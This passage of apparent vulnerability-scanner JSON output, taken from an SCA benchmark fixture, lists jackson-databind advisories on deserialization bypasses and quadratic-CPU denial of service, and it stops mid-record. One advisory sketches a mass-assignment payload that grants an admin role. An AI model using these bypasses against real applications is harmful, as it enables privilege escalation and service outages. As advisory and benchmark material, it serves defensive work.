{ "results": [ { "source": { "path": "~/projects/sca-benchmark-wt/refresh-latest/fixtures/java-maven/pom.xml", "type": "lockfile" }, "packages": [ { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "version": "2.18.2", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.18.2" }, "groups": [ { "ids": [ "GHSA-3pjw-73gf-8qr5" ], "aliases": [ "CVE-2026-59888", "GHSA-3pjw-73gf-8qr5" ], "max_severity": "6.5" }, { "ids": [ "GHSA-5gvw-p9qm-jgwh" ], "aliases": [ "CVE-2026-59889", "GHSA-5gvw-p9qm-jgwh" ], "max_severity": "6.5" }, { "ids": [ "GHSA-5jmj-h7xm-6q6v" ], "aliases": [ "CVE-2026-54515", "GHSA-5jmj-h7xm-6q6v" ], "max_severity": "5.3" }, { "ids": [ "GHSA-cxp5-3px4-pw24" ], "aliases": [ "CVE-2026-91777", "GHSA-cxp5-3px4-pw24" ], "max_severity": "7.5" }, { "ids": [ "GHSA-gx83-3vf8-gh7j" ], "aliases": [ "CVE-2026-83557", "GHSA-gx83-3vf8-gh7j" ], "max_severity": "5.6" }, { "ids": [ "GHSA-hgj6-7826-r7m5" ], "aliases": [ "CVE-2026-54514", "GHSA-hgj6-7826-r7m5" ], "max_severity": "5.3" }, { "ids": [ "GHSA-j3rv-43j4-c7qm" ], "aliases": [ "CVE-2026-54512", "GHSA-j3rv-43j4-c7qm" ], "max_severity": "8.1" }, { "ids": [ "GHSA-mhm7-754m-9p8w" ], "aliases": [ "GHSA-mhm7-754m-9p8w" ], "max_severity": "6.5" }, { "ids": [ "GHSA-q4xh-88c3-wmh7" ], "aliases": [ "CVE-2026-68497", "GHSA-q4xh-88c3-wmh7" ], "max_severity": "7.5" }, { "ids": [ "GHSA-rmj7-2vxq-3g9f" ], "aliases": [ "CVE-2026-54513", "GHSA-rmj7-2vxq-3g9f" ], "max_severity": "8.1" }, { "ids": [ "GHSA-vvgp-rfg2-7rr6" ], "aliases": [ "CVE-2026-77310", "GHSA-vvgp-rfg2-7rr6" ], "max_severity": "5.3" }, { "ids": [ "GHSA-wjgm-6hv5-3cvf" ], "aliases": [ "CVE-2026-19032", "GHSA-wjgm-6hv5-3cvf" ], "max_severity": "5.3" }, { "ids": [ "GHSA-wv8q-qhhj-9h54" ], "aliases": [ "CVE-2026-91776", "GHSA-wv8q-qhhj-9h54" ], "max_severity": "7.5" } ], "vulnerabilities": [ { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-3pjw-73gf-8qr5/GHSA-3pjw-73gf-8qr5.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.15.0" }, { "fixed": "2.18.8" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.15.0", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-3pjw-73gf-8qr5/GHSA-3pjw-73gf-8qr5.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-3pjw-73gf-8qr5/GHSA-3pjw-73gf-8qr5.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3" ] } ], "aliases": [ "CVE-2026-59888" ], "database_specific": { "cwe_ids": [ "CWE-915" ], "github_reviewed": true, "github_reviewed_at": "2026-07-21T19:33:06Z", "nvd_published_at": "2026-07-14T17:17:15Z", "severity": "MODERATE" }, "details": "## Summary\nFor Java Records, `POJOPropertiesCollector._removeUnwantedIgnorals()` records a `@JsonIgnore`-annotated component under its original implicit name before `_renameUsing()` applies the `PropertyNamingStrategy`. After the rename, `_ignoredPropertyNames` still holds only the pre-rename name, so `_ignorableProps` is built from the stale key. The renamed JSON key passes `IgnorePropertiesUtil.shouldIgnore()` and is assigned to the Record's constructor parameter, defeating the `@JsonIgnore`.\n\n## Impact\nA Record using a naming strategy that relies on `@JsonIgnore` to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client).\n\n## Affected / Patched (verified via `git tag --contains`)\n- 2.15-2.18 line: `\u003e= 2.15.0, \u003c 2.18.8` -\u003e fixed in **2.18.8** (backport `c7c6783`)\n- 2.19-2.21 line: `\u003e= 2.19.0, \u003c 2.21.4` -\u003e fixed in **2.21.4**\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4** (#5974, `baa2cdf`)\n\n## Severity / CWE\nMaintainer: minor. Reporter: Moderate. CWE-915; related CWE-345.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.", "id": "GHSA-3pjw-73gf-8qr5", "modified": "2026-09-10T03:51:10.312389083Z", "published": "2026-07-21T19:33:06Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-3pjw-73gf-8qr5" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59888" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/5974" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/baa2cdf5ca2b2717fbb88d91955d69d8651df3e4" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/c7c678360624da5bc7eed2152789fa522880db9d" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "type": "CVSS_V3" } ], "summary": "jackson-databind: @JsonIgnore on a Record property is bypassed with a PropertyNamingStrategy" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-5gvw-p9qm-jgwh/GHSA-5gvw-p9qm-jgwh.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.21.0" }, { "fixed": "2.21.5" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.1.4", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-5gvw-p9qm-jgwh/GHSA-5gvw-p9qm-jgwh.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.5" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.18.8", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-5gvw-p9qm-jgwh/GHSA-5gvw-p9qm-jgwh.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.18.0" }, { "fixed": "2.18.9" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.18.0", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-5gvw-p9qm-jgwh/GHSA-5gvw-p9qm-jgwh.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-5gvw-p9qm-jgwh/GHSA-5gvw-p9qm-jgwh.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0" ] } ], "aliases": [ "CVE-2026-59889" ], "database_specific": { "cwe_ids": [ "CWE-863" ], "github_reviewed": true, "github_reviewed_at": "2026-07-21T22:00:43Z", "nvd_published_at": "2026-07-14T21:17:06Z", "severity": "MODERATE" }, "details": "## Summary\n`UnwrappedPropertyHandler.processUnwrapped()` replays the buffered JSON for a `@JsonUnwrapped` property by iterating its properties and calling `prop.deserializeAndSet()` with **no `prop.visibleInView(ctxt.getActiveView())` guard** — the exact guard `processUnwrappedCreatorProperties()` received in the #5971 / GHSA-rcqc-6cw3-h962 fix, and the guard `BeanDeserializer.deserializeWithUnwrapped` applies to directly-matched properties. As a result, a property annotated with both `@JsonView(PrivilegedView.class)` and `@JsonUnwrapped` is written from attacker JSON even when deserializing under a more-restrictive active view.\n\n**Correction to the original framing (runtime-verified):** the gap is NOT a per-field inner `@JsonView` (the unwrapped sub-object's own `BeanDeserializer` gates inner fields correctly). The unchecked gate is the **view of the unwrapped CONTAINER property**.\n\n## Intent proof (runtime, 2.x HEAD 21dd70dd and 3.x HEAD 7a5939d6)\nAn `@JsonView(AdminView)` property that is NOT `@JsonUnwrapped` → `null` under `PublicView` (correctly gated). The identical property WITH `@JsonUnwrapped` → fully populated (bypass). The fix the creator path already received, not applied to the regular-property method.\n\n## Impact — write-side mass-assignment / privilege escalation\n`@JsonView` is commonly used as a write-side authorization guard: a public endpoint binds the body under `readerWithView(PublicView.class)` and groups privileged state in a nested object whose container property is `@JsonView(AdminView)`. When that property is `@JsonUnwrapped`, an untrusted caller mass-assigns it. PoC: a self-service registration where `AccountFlags{role,approved,creditBalance}` is `@JsonView(AdminView) @JsonUnwrapped`; attacker JSON `{role:ADMIN,approved:true,creditBalance:1000000}` under `PublicView` binds all three → approved admin with arbitrary balance. The failing gate is a WRITE gate, hence integrity-high (`C:N/I:H/A:N`); no worse than the C:L/I:L parent and arguably higher as `@JsonView`-as-write-guard is the exact use case #5971/#5969 defended.\n\n## Affected\n- `com.fasterxml.jackson.core:jackson-databind` 2.x: confirmed bypass at 21dd70dd (== released 2.21.4 / 2.22.0 line; includes the #5973 backport). `DEFAULT_VIEW_INCLUSION` default=true.\n- `tools.jackson.core:jackson-databind` 3.x: confirmed bypass at HEAD 7a5939d6 (latest 3.x). `DEFAULT_VIEW_INCLUSION` default=false → the stock-config repro is the common shape where privileged inner fields are individually `@JsonView(PublicView)` and the developer relies on the container `@JsonView(AdminView)`; the 3.x PoC mass-assigns role/approved/creditBalance under PublicView. (The other simultaneous report's PoC was reportedly fixed on 3.x; this distinct container-property path is not.)\n\n## Additive variants (runtime-confirmed both branches; all closed by the same one-line guard)\n- nested `@JsonUnwrapped` (unwrapped-in-unwrapped) — recursive bypass.\n- merge / `readerWithView(...).withValueToUpdate(...)` (PATCH/partial-update) — bypass; non-unwrapped merge control gates correctly.\n- builder-based deserializer (`@JsonDeserialize(builder=...)`) — `BuilderBasedDeserializer` routes through the same `processUnwrapped`.\n- Honest non-findings: read-side serialization correctly honors views (no leak); `@JsonAnySetter`+view and `@JsonTypeInfo`+`@JsonUnwrapped` are separate/unsupported behaviors, not this bug.\n\n## Fix\nAdd `prop.visibleInView(ctxt.getActiveView())` (when `MapperFeature.DEFAULT_VIEW_INCLUSION`/active-view applies) to the `processUnwrapped()` property loop, mirroring `processUnwrappedCreatorProperties()`. One change closes the impact PoC + all three variants across `BeanDeserializer` and `BuilderBasedDeserializer`. Full runnable PoCs (2.x + 3.x) + variant harnesses available on request.", "id": "GHSA-5gvw-p9qm-jgwh", "modified": "2026-09-10T03:51:10.658074231Z", "published": "2026-07-21T22:00:43Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5gvw-p9qm-jgwh" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59889" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/6060" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6056" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/d627a8a86fcb062429282f79f3f256f181ed2c7b" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "type": "CVSS_V3" } ], "summary": "jackson-databind: @JsonView bypassed for @JsonUnwrapped container properties on deserialization" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.1.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.1.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.1.0", "3.1.1", "3.1.2", "3.1.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.8.0" }, { "fixed": "2.18.9" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.8.0", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.5" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-5jmj-h7xm-6q6v/GHSA-5jmj-h7xm-6q6v.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.1" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0" ] } ], "aliases": [ "CVE-2026-54515" ], "database_specific": { "cwe_ids": [ "CWE-915" ], "github_reviewed": true, "github_reviewed_at": "2026-06-23T21:23:58Z", "nvd_published_at": "2026-06-23T21:17:02Z", "severity": "MODERATE" }, "details": "## Summary\nIn `BeanDeserializerBase.createContextual()`, per-property `@JsonIgnoreProperties` exclusions are applied by `_handleByNameInclusion()`, producing a `contextual` deserializer whose `BeanPropertyMap` has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by `@JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)`) rebuilds from `this._beanProperties` (the original, unfiltered map) instead of `contextual._beanProperties`, then overwrites the filtered map — restoring every property `_handleByNameInclusion` had just removed. The ignored property becomes writable again.\n\n## Impact\nAn application that both enables case-insensitive matching and relies on per-property `@JsonIgnoreProperties` to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).\n\n## Affected / Patched\nWill be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.\n\n## Severity / CWE\nMaintainer: minor. Reporter: Moderate. CWE-915.\n\n## Upstream fix\nFasterXML/jackson-databind#5962 (PR #5964, `0e1b0b2`), milestone 3.1.4. Released 2026-06-04.", "id": "GHSA-5jmj-h7xm-6q6v", "modified": "2026-09-10T03:51:08.069993966Z", "published": "2026-06-23T21:23:58Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5jmj-h7xm-6q6v" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54515" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/5962" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/5964" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/0e1b0b211f7a53baa62ba2f4c9bd006c7bf4d5fa" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "type": "CVSS_V3" } ], "summary": "jackson-databind has case-insensitive deserialization bypasses per-property @JsonIgnoreProperties" }, { "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 2.21.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5", "2.21.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.1.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5", "3.1.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.2.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0", "3.2.1", "3.2.2" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.18.10", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.5.0" }, { "fixed": "2.18.11" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.10", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9", "2.5.0", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.7.1", "2.6.7.2", "2.6.7.3", "2.6.7.4", "2.6.7.5", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.1-1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.7.9.1", "2.7.9.2", "2.7.9.3", "2.7.9.4", "2.7.9.5", "2.7.9.6", "2.7.9.7", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.22.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0", "2.22.1", "2.22.2" ] } ], "aliases": [ "CVE-2026-91777" ], "database_specific": { "cwe_ids": [ "CWE-400" ], "github_reviewed": true, "github_reviewed_at": "2026-09-30T15:37:24Z", "nvd_published_at": "2026-09-23T03:17:04Z", "severity": "HIGH" }, "details": "### Summary\n\nWhen an `@JsonIdentityInfo` collection or map first creates N unresolved\nobject-ID references and later resolves the same IDs in reverse order,\njackson-databind scans the remaining pending-reference accumulator for each\nresolution. A shallow JSON document whose size grows linearly can therefore\ncause quadratic CPU work during deserialization.\n\n### Details\n\nThe affected path is forward-reference completion in\n`CollectionDeserializer.CollectionReferringAccumulator.resolveForwardReference()`\nand the corresponding map implementation. The implementation performs a\nlinear search of the pending accumulator for every resolved object ID.\n\nThe behavior is runtime-confirmed in jackson-databind 2.5.0, 2.22.1, and\n3.2.1. Current 2.22 and 3.2 source branches retained the same design when\nrechecked. A 2.4.0 control fails closed before successful reverse-order\ncompletion, so 2.5.0 is the conservative runtime-confirmed affected floor.\nThe patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3.\n\nThe vulnerable application must deserialize attacker-influenced JSON into an\nidentity-enabled collection or map. The issue does not require deep nesting or\nsyntactically unusual JSON.\n\nSuggested correction: replace repeated linear lookup/removal with a keyed\npending-reference structure or another design that provides linear or\namortized-linear completion. A regression should preserve input order,\nduplicate-ID behavior, and unresolved-ID errors while bounding reverse-order\nresolution work.\n\n### PoC\n\nThe proof constructs a shallow collection containing N unresolved\n`@JsonIdentityInfo` references followed by definitions of those same IDs in\nreverse order. Its ID class counts `equals()` calls, giving a deterministic\nwork measure rather than a timing-dependent result.\n\nWith N=2,000, affected versions perform exactly 2,003,000 ID comparisons. An\nequally sized control in which every reference is already resolved performs\nzero comparisons in the pending-reference lookup path. The run is bounded to\na 512 MiB JVM. The result demonstrates quadratic growth: approximately\n`N * (N + 1) / 2` comparisons, plus fixed setup comparisons.\n\n### Impact\n\nAn unauthenticated source that can submit JSON to an application using the\naffected identity-enabled collection or map shape can consume quadratic CPU\nand exhaust a request-time or worker-capacity budget, causing denial of\nservice. The application model/configuration prerequisite is material. No\nconfidentiality, integrity, code-execution, or parser-depth impact is claimed.\n\nRequested credit: Daniel Birtwhistle", "id": "GHSA-cxp5-3px4-pw24", "modified": "2026-09-30T15:46:18.051343022Z", "published": "2026-09-30T15:37:24Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-cxp5-3px4-pw24" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91777" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/6204" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6204" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/37ad9b81712cbb9fb62c2d2c1813593252a24b67" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.11" }, 